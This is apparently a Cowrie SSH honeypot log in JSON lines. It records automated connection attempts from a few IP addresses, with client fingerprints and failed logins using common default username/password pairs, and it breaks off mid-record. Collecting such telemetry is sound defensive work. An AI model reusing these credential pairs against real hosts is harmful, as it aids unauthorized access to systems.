{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":22616,"dst_ip":"10.17.0.5","dst_port":22,"session":"5335d2d24024","protocol":"ssh","message":"New connection: 43.134.24.11:22616 (10.17.0.5:22) [session: 5335d2d24024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:22.285097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:22.289019Z","src_ip":"43.134.24.11","session":"5335d2d24024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:22.526069Z","src_ip":"43.134.24.11","session":"5335d2d24024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:23.254769Z","src_ip":"43.134.24.11","session":"5335d2d24024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:24.494813Z","src_ip":"43.134.24.11","session":"5335d2d24024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1803,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2449cb8366e","protocol":"ssh","message":"New connection: 43.134.24.11:1803 (10.17.0.5:22) [session: c2449cb8366e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:27.956483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:28.027629Z","src_ip":"43.134.24.11","session":"c2449cb8366e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:28.203981Z","src_ip":"43.134.24.11","session":"c2449cb8366e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:29.179620Z","src_ip":"43.134.24.11","session":"c2449cb8366e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:30.432842Z","src_ip":"43.134.24.11","session":"c2449cb8366e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe1df603771","protocol":"ssh","message":"New connection: 43.134.24.11:44224 (10.17.0.5:22) [session: 4fe1df603771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:33.671216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:33.675757Z","src_ip":"43.134.24.11","session":"4fe1df603771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:33.921479Z","src_ip":"43.134.24.11","session":"4fe1df603771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40330,"dst_ip":"159.203.135.109","dst_port":22,"session":"792f56c22f93","protocol":"ssh","message":"New connection: 38.93.206.2:40330 (159.203.135.109:22) [session: 792f56c22f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:34.599000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:34.602753Z","src_ip":"38.93.206.2","session":"792f56c22f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:34.653288Z","src_ip":"38.93.206.2","session":"792f56c22f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:34.661274Z","src_ip":"43.134.24.11","session":"4fe1df603771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666666","message":"login attempt [root/666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:34.804438Z","src_ip":"38.93.206.2","session":"792f56c22f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:35.857457Z","src_ip":"38.93.206.2","session":"792f56c22f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:35.912752Z","src_ip":"43.134.24.11","session":"4fe1df603771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28514,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b084df1fd09","protocol":"ssh","message":"New connection: 43.134.24.11:28514 (10.17.0.5:22) [session: 2b084df1fd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:39.261096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:39.331841Z","src_ip":"43.134.24.11","session":"2b084df1fd09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:39.500637Z","src_ip":"43.134.24.11","session":"2b084df1fd09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:40.443453Z","src_ip":"43.134.24.11","session":"2b084df1fd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:41.683739Z","src_ip":"43.134.24.11","session":"2b084df1fd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1804,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b32d549939","protocol":"ssh","message":"New connection: 43.134.24.11:1804 (10.17.0.5:22) [session: 76b32d549939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:45.133210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:45.138326Z","src_ip":"43.134.24.11","session":"76b32d549939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:45.381256Z","src_ip":"43.134.24.11","session":"76b32d549939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:46.098304Z","src_ip":"43.134.24.11","session":"76b32d549939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:47.340060Z","src_ip":"43.134.24.11","session":"76b32d549939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54961,"dst_ip":"10.17.0.5","dst_port":22,"session":"293b6cc3fcd9","protocol":"ssh","message":"New connection: 43.134.24.11:54961 (10.17.0.5:22) [session: 293b6cc3fcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:50.861173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:50.865410Z","src_ip":"43.134.24.11","session":"293b6cc3fcd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:51.095658Z","src_ip":"43.134.24.11","session":"293b6cc3fcd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:51.811800Z","src_ip":"43.134.24.11","session":"293b6cc3fcd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:53.049116Z","src_ip":"43.134.24.11","session":"293b6cc3fcd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18000,"dst_ip":"10.17.0.5","dst_port":22,"session":"b79460e2d5e5","protocol":"ssh","message":"New connection: 43.134.24.11:18000 (10.17.0.5:22) [session: b79460e2d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:56.641670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:56.646525Z","src_ip":"43.134.24.11","session":"b79460e2d5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:56.896795Z","src_ip":"43.134.24.11","session":"b79460e2d5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:57.635554Z","src_ip":"43.134.24.11","session":"b79460e2d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:48:58.884286Z","src_ip":"43.134.24.11","session":"b79460e2d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1805,"dst_ip":"10.17.0.5","dst_port":22,"session":"275cd5b29677","protocol":"ssh","message":"New connection: 43.134.24.11:1805 (10.17.0.5:22) [session: 275cd5b29677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:02.435058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:02.440413Z","src_ip":"43.134.24.11","session":"275cd5b29677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cer